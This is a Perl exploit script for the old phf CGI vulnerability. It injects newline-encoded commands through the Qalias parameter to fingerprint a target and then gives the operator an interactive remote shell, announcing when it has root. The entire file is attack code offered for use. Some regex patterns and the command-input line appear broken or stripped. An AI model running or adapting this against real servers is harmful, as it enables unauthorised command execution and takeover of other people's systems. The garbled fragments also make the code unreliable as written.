#!/usr/bin/perl # greets to josh arielle matt carley use WWW::Mechanize; if (scalar(@ARGV) < 1) { print "\n --=== PHF00z3 by Oxagast ===--\n\n"; print " useage: ./$0 hostname\n\n"; print " Play Nice :)\n"; exit(); } $scrape = WWW::Mechanize->new(timeout => 3); print "Connecting...\n"; print "Checking if exploitable...\n"; $scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Auname%20-a"); $unamea = $scrape->content(); @unameafeed = split(/\n/, $unamea); for $stupidpres (0..scalar(@unameafeed)) { if (@unameafeed[$stupidpres] =~ m/
/) {
		$realunamea = @unameafeed[$stupidpres+1];
	}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Ash%20--version");
$shver = $scrape->content();
@shverfeed = split(/\n/, $shver);
for $stupidpres (0..scalar(@shverfeed)) {
	if (@shverfeed[$stupidpres] =~ m/
/) {
		@shverfeed[$stupidpres+1] =~ m/version (\d+\.\d)/;
		if ($1 ne "") {
			$realshver = "sh-$1";
		}
	}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Als%20%20/bin");
$scraped = $scrape->content();
if($scraped =~ /chmod/m) {
	if($scraped =~ /mkdir/m) {
		if($scraped =~ /stty/m) {
			$startup = 1;
			$rootus = 0;
			while (0 < 1) {
				if ($startup == 1) {
					$cmd = "id";

				}
				if ($startup == 0) {
					if ($rootus == 0) {
						print "$realshver\$ ";
					}
					if ($rootus == 1) {
						print "$realshver\# ";
					}
					$cmd = ;
				}
				$scrape->get("http:\/\/@ARGV[0]/cgi-bin/phf?Qalias=%0A$cmd");
				$scraped = $scrape->content();
				@feedback = split(/\n/, $scraped);
				for $line (0..scalar(@feedback)) {
					if (@feedback[$line] eq "
") {
						$outs = $line + 1;
					}
				}
				for $outline ($outs..scalar(@feedback)-2) {
					if ($startup == 1) {
						if (@feedback[$outline] =~ /\(root\)/) {
							print "OOooooo now look what we have here... :P r00t\n";
					print "$realunamea\n";
							$rootus = 1;
						}
						else {
							print "We got ourselves a shell... :)\n";
					print "$realunamea\n";
						}
					}
					print "@feedback[$outline]\n";
					$startup = 0;
				}
			}
		}
	}
}

else {
	print "OOps, doesn't look like she's vulnerable. :(\n";
}